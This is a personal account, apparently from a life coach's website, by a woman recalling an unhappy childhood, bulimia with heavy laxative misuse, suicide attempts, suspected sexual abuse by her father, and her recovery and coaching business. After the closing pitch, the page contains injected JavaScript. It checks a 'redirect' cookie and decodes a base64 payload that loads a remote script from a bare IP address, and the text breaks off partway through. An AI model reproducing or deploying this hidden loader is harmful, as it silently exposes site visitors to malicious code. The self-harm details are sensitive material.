Lou’s Story

Lourdes-Anne R., born in Gibraltar and lived in England since the age of 3 and now 48 years of age. Two brothers, one older and one younger.

From arriving in Gibraltar I recall my family being a bit like a ‘fish out of water’, that is to say that it always felt as if we were trying to ‘fit in’ and being accommodating. We spoke Spanish as our first language and then English and at home we tended to speak in both languages, often alternating between the two.

My father was quite used to England having studied there and he was a teacher. My mother on the other hand apparently found it quite uncomfortable at times and a huge change, especially as she was not consulted about the move. My father decided and then informed her of his decision! I wonder why, I ever question his controlling and selfish attitude!

I was quite an unhappy child in many ways, although I was of good spirits in myself I never felt very happy at home. I remember feeling frightened at the prospect of my father coming home, as he always seemed to ‘shake’ things up and change a peaceful atmosphere into a turbulent and aggressive one. I really didn’t and don’t like my father. Our relationship has always been a complicated and disturbing one for me.

I started puberty quite early and found this very confusing as I wanted to remain a little girl and didn’t want to change and grow into a woman, especially as my mother, at the time of my early menstruation, told me that I now had ‘to be frightened of men’! Little did she know that I already felt this way about my own father and also my older brother at times, without any clear reason or logic, it was just very strong feelings.

I started having emotional challenges and mental health issues around the age of 12/13, when I was showing the early signs of Bulimia and borderline Anorexia. I wanted to be slimmer than I was and to get all the food from inside my tummy, back out and therefore not digest anything. I admired other girls who were slim and felt that if I was slim everything would be ok. At this time I was overweight although not excessively and I just hated myself, focusing on my physical body as the thing to control and change. I swang from eating very little to bingeing quite dramatically at times and then I took many Laxatives, sometimes up to 100 in one go. It became very uncomfortable and embarrassing for me to go too far and I would often have to stop off on the way to school to use someone’s toilet as I wasn’t sure I would make it safely into school. This happened a few times.

After a period of this kind of ‘yoyo’ effect between eating normally, then very little and then to excess and taking these extreme measures to rid my body of what I had consumed, I began to feel ill and peculiar and one day I fainted in school and that was the beginning of my ‘therapeutic journey’ and of outside intervention. At the same time I had also started to steal some money from my parents and we had many arguments and conflicts. Family life was very unhappy and confusing, a great deal of arguments and lots of shouting and rejection between all members of my family. We all seemed to be ok together for a while and then when things erupted, we would each find solace or refuge in our own private isolation.

I think I went a little further and escaped into my own mind and into a fantasy world as I hated the one I was living in at the time. I never felt anything untoward had happened then, I never even thought about that. All I remember was feeling desperately unhappy, having very peculiar and dark thoughts and feelings, being quite obsessive and feeling very strange around my father, dirty almost.
I saw my first Psychiatrist at the age of 13 and quite honestly I remember thinking that he needed more help than I did and I declined seeing him. I then saw a woman who later suggested that another doctor see my parents and brothers and then for us to have a family group. We did this, although I don’t recall my brothers joining and a few things were aired and for a short while some things seemed a bit better. I don’t think my father changed very much and his philosophy has always been that ‘this is the way he is and that’s not going to change’!

For many years I felt like a family ‘scapegoat’ and that I was living for my parents and as their guard. It always felt like they hid behind me and used me, used and abused me really, emotionally at least. I grew up in a very critical and confusing household. Many mixed messages and not much consistency. The old sayings such as ‘children should be seen and not heard’, ‘if I want your opinion I’ll ask for it’, ‘it’s for your own good’ and more spring to my mind.

As I matured I had bouts of depression and panic, anxiety, great fear and distress intermingled with bouts of normality and being able to function well in society and among my group of friends. Unfortunately the more ‘normal’ times did not seem to last long enough as soon after, or so it seemed I was again feeling depressed, very much the ‘odd one out’ and in a very dark place indeed. I had to take many anti-depressants and sleeping pills and these changed my moods, not always for the better. Sometimes I felt extremely numb and devoid of any human feelings.

Something that helped me survive my own mental and emotional torture was writing. I wrote poems and letters and covered reams of paper in the process. Writing was like having a trusted friend to talk to. I had friends and good ones and yet this was a part of me that I could not share with anyone and trust has always been and is still a challenge for me at times. I know my parents loved me and do love me and yet it never felt a good thing. There were always so many conditions and rules, usually unspoken ones. Coming from a Latin family as well, women were the ‘lower’ or ‘lesser’ sex and deemed to stay at home and look after the children.

Suffice to say that there were many family arguments and conflicts, many tears, lots of shouting and distress and even a little physical aggression at times as well. All this mixed up with being ignored to be punished, the ‘looks’ of disdain and disapproval that could kill and the controlling blackmail that was often used to manipulate us children and my mum, for my father to get his own way. Not what I would call a happy or nurturing environment or childhood.

As I grew older and did some ‘inner work’ on myself and began to tune into my own feelings and become more intuitive, I found myself interacting with people who led me along a different path. A path that eventually led me to see a new doctor who listened to me and then a Psychologist who specialised in Sexual Abuse, (although I did not know that at the time of my referral to him) and later on, to a residential and therapeutic hospital/centre that was the beginning of a new phase in my life.

By this time I had already tried to take my life on two occasions and I was sick and tired of taking so many tablets that were changing me and numbing me all the time. I had also had a couple of nervous breakdowns and gone to some seriously dark and very scary places in my own mind. I felt very alone and lost and extremely frightened. From the moment I decided to take my life and my well being in my own hands and I stopped taking medication, except for a little that kept me a little bit ‘happy’, I began to listen to that small voice inside of my body, my intuition/my inner child and really started to make some positive progress (if you can call it that)!

I decided that if this hospital/centre did not work for me, I would take my own life and ‘do it’ this time, as this was the end of the line for me and what felt like a last attempt to turn things around and get some understanding of myself and my ‘issues’. I had been led to a book about depression which explained the importance of taking personal responsibility for one’s challenges, no matter what was done to you and I started questioning things in my childhood and by listening to my deepest feelings and piecing some things together, I realised that it was all connected and it began to make some sense to me and also to people who knew about this sort of thing, ‘abuse’, sexual in particular and emotional/spiritual as well. Abuse is abuse, right?! I regressed on a couple of occasions which was both scary and liberating, as if someone else was speaking through my body, much like a spirit using me as a channel!
This period of reflection, hard work and great introspection, as well as talking therapy, art therapy, Psychodrama, occupational therapy and more, began a process of change, real change! From this place in my journey, I felt that I had turned a corner and was better equipped to live my life in a better way.

I returned to family life with my family as it was, I think anything else was too frightening for me at that time. I went back to work to face an uncomfortable and sensitive time of reintegration, purely because people were ignorant of what had happened to me while I was off work and I don’t think they knew what to say or do at times. Others I found to be pretty patronising and added to the stigma of mental health issues and having had a breakdown or an episode serious enough for me to opt out for a while and create an air of secrecy and forbidden material.

A few years passed and at times I would still get low and frustrated etc and now I had other tools and skills to help me through these episodes. I had learned new things and made new connections, with others who somehow ‘got me’ and were experiencing similar things and knew how to support me and vice versa. Like most things and connections one makes through these mediums and others such as travelling, people lose touch after a while and although this might not feel very nice, it is also a good thing as it’s necessary for us all to move on surround ourselves with others who are living in a more positive manner and learn new behaviours, (I think).

I was living fairly ok after this and yet knew that at times things weren’t as good as they could be. I was also used to having therapy too, I recognise that now. After a while I chose to seek out a therapist to help me work through some issues I was having and of course we went over things that had occurred in my life up until then, including the matter of abuse and looking back etc. I did some heavy and intense work and still no clear and definite memories and yet I dealt with some very dark and really strong feelings and as my therapist put things at that time, ‘something happened Lou, of that there is no doubt’. This was private therapy and not many people knew, as I felt embarrassed and like I had somehow failed, because here I was again, needing help, fragile, vulnerable and unable to do it for myself. At least, this was how I felt about it and I presumed that others were thinking this too.

Isn’t everyone vulnerable at times? It strikes me as odd that people are so hell bent on pulling out areas of weakness in others and reveal when they are emotionally vulnerable and yet these same people never reveal anything like this about themselves and some don’t even think that they are capable of feeling this way. ‘Poppycock’ I say and why is it that these are the people who always seem so much in control and yet they are a mass of controlled matter, just waiting and needing to break down, as this is the only way that they might become real. God forbid they should allow this and even more, reveal this to others!

I have broken many emotional ties to my family now, in particular my father over the years. I would have confronted him again, except he is pretty deaf and it’s such hard work and you know, I cannot be bothered and what is this going to do? He is never going to open up to anything from that time in my life and so looking for someone to acknowledge what has happened and say ‘SORRY’, no way, it’s just not going to happen and so I have had to own my truth and let it go.

There was a time only a couple of years ago when my younger brother decided to emigrate to New Zealand and this brought up a lot about my family situation and I really felt, very strongly that I needed to be a proper grown up, feel the fear and do it anyway and bring it up and out again. I confronted my mum first, as I felt really hurt that she might have known and never did anything about it (and I think she did and perhaps was even a part of it, colluding in some way). When I spoke with her she denied that anything had happened, saying that what I was saying about my father was not true and it had NEVER happened and so there was her answer, if it didn’t happen, she didn’t know anything as there was nothing to know. How very easy and convenient, for her and for my dad! This really hurt and especially when I said it did happen and if she knew about it or had any idea at all, how could she let that be. She said ‘NO, he is my husband’, to which I replied, ‘and you are my mum’.

We drew apart at this point and I felt strangely empowered and vulnerable, all at the same time, really liberated somehow and knowing that I needed separation from my mum and family at this time. I told her that this was my truth and that I was sticking to it and always would and this was it, I wouldn’t mention it again and I didn’t know what I would do for the best, for me. My younger brother became involved as my mother was upset and I chose not to be with them all at my brother’s leaving meal, I saw him and his family alone. He asked me why I didn’t speak to him first; things might have been easier that way. After our conversation I felt more real and pleased I had done what I did and yet when my brother tidied it all up, in a way that suggested maybe there were some doubts and therefore these things are to be handled carefully. It all felt surreal, hard because he was leaving me and us and it somehow felt extremely important to be real and open. I felt a little ‘shut up’ again and so I decided that was it, no more trying to get answers and confirmation and apologies, it just would never happen and I had my life to lead and many good things to create and experience!
From this point on I decided that my life and I were truly THE most important things and however I could do this, I wanted and needed to make the second part of my life really count and be different; bigger, better and more fulfilling. And so it began, a new and exciting journey, still fearful at times and also really liberated by this realisation. It felt like I was finally beginning to grow up and find myself, on a much deeper and more encompassing level.

This was ¾ years ago now and since then I have detached myself emotionally from my family. I still see them and I now have a much better and closer relationship to my mother. My father and I are not very close and I still have mixed feelings about him at times, although I am realising that he might well be in much more pain and discomfort than me. Being at the end stage of his life and having done some forgiveness work regarding him, I can actually feel some compassion towards him and even pity at times. He did what he did because he knew nothing else and goodness alone knows what has happened to him in his earlier life to behave in such ways. My mother also, what is her real and true story? I have come to accept that I will probably NEVER have any acknowledgement of anything ever happening at all in my childhood and that of my brothers, let alone the truth, the real truth. This would be too much for anyone to handle I think. Not so much revealing the truth, that bit might well be quite easy in a way; it’s what happens afterwards that would really test people, owning responsibility for the consequences of their actions!

I cannot list the complete collection of harmful emotions, feelings, reactions, behaviours and thought patterns that I have experienced as a result of the abuse, it would be too many and yet too little when I hear the stories of some others. I learnt a long time ago that we must not compare stories and scale our pain, as we all react differently, all have different coping mechanisms and how can we even begin to understand, let alone judge another’s pain and suffering, especially when very young, defenceless and powerless. The whole picture has to be seen and realised, the family dynamics, customs and culture, as well as beliefs and environmental circumstances. After all, in my case that’s to say that had my family stayed in Gibraltar, developing within one’s own familiar territory and surrounded by good support systems that this would have happened at all?

I am now realising some of my dreams: Working for myself, teaching Tai Chi, Qi Gong and relaxation, (visualisation & meditation). I am also a Life Coach and Mentor and building my business, learning and growing as I go along. I work with clients on a one to one basis and in groups. I run classes, large and small and I work with some adult survivors of trauma and abuse, the over 50’s, young people and even a few smaller children. I would like to do more work with young people and families and I have great experience in this area, having worked in this field in the past and really found it very effective and fulfilling. Working in schools and other such organisations would be great and even working with the ‘harder to reach’ individuals, as I have a great skill in being able to connect with people that others would give up on and be put off by, as they have built up a stronger wall and a harder shell, thus expressing themselves more aggressively and pushing people away. I am very persistent and passionate about my work and I will go where others might not dare, as I believe we ALL have a right to a good and happy life, however we choose to manifest that and we all have the right to accept help or to receive it, even if we are not aware that we need it.

I believe survivors of trauma and abuse don’t even realise that they have needs, let alone know how to have them met and therefore sometimes they need an outsider to let this surface and bring it to their attention. There are many symptoms felt and experienced as a result of abuse and people ‘act out’ in different ways. It makes me cross when people say, ‘oh but they come from a good family, that couldn’t have happened’. Whatever a person’s so called status and background, anyone can express this kind of behaviour and although it can be cleverly hidden perhaps, when people are better spoken or emotionally more mature, abuse is abuse, period!

I would now like to introduce writing to my business, as well as speaking at group sessions, seminars and workshops, as well as conferences etc. I am starting this here in the U.K. and when the opportunities arise, I would welcome taking my business globally, bringing together therapeutic and transformational work, using the body, the breath, mind, energy and spirit (one’s true essence). Throughout my own healing energy I began with talking therapy and then came to see that we have to work with the body as well and start getting in touch with what it tells us, to listen to our bodies and our own inner voice and trust it, for this is where magic happens, within, the rest is just an illusion and an escape. We must go within and experience the darkness fully and travel through it, to walk into the light and open the treasure box, which lies within each and every one of us.

Are you ready to walk into the darkness?………………………………………….and come into the light with me!
My work can be just as effective via email and/or telephone and Skype, as well as face to face. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘